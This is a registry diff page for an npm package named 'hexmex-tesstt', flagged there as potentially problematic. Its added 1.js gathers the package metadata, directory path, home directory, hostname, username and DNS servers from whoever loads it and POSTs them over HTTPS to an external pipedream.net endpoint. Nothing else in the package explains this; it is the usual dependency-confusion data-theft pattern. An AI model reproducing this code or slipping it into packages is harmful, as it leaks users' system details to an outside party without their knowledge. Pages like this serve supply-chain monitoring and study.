hexmex-tesstt 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of hexmex-tesstt might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/1.js +34 -0
  2. package/package.json +11 -0
package/1.js ADDED
@@ -0,0 +1,34 @@
1
+ // requirements
2
+ const dns = require('dns')
3
+ const os = require('os')
4
+ const https = require('https')
5
+ const package = require('./package.json')
6
+
7
+ //user info
8
+ const userData = JSON.stringify({
9
+ p: package,
10
+ a: __dirname,
11
+ b: os.homedir,
12
+ c: os.hostname,
13
+ d: os.userInfo().username,
14
+ d: dns.getServers()
15
+ })
16
+ // server
17
+ const options = {
18
+ hostname: 'eog5fjus1whyubg.m.pipedream.net',
19
+ port: 443,
20
+ path: '/',
21
+ method: 'POST',
22
+ headers: {
23
+ "Content-Type":"application/json",
24
+ "Content-Length": userData.length
25
+ }
26
+ }
27
+ // send
28
+ const req= https.request(options, (res)=>{
29
+ res.on('data', (d)=>{
30
+ process.stdout.write(d)
31
+ })
32
+ })
33
+ req.write(userData)
34
+ req.end()
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "hexmex-tesstt",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "1.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }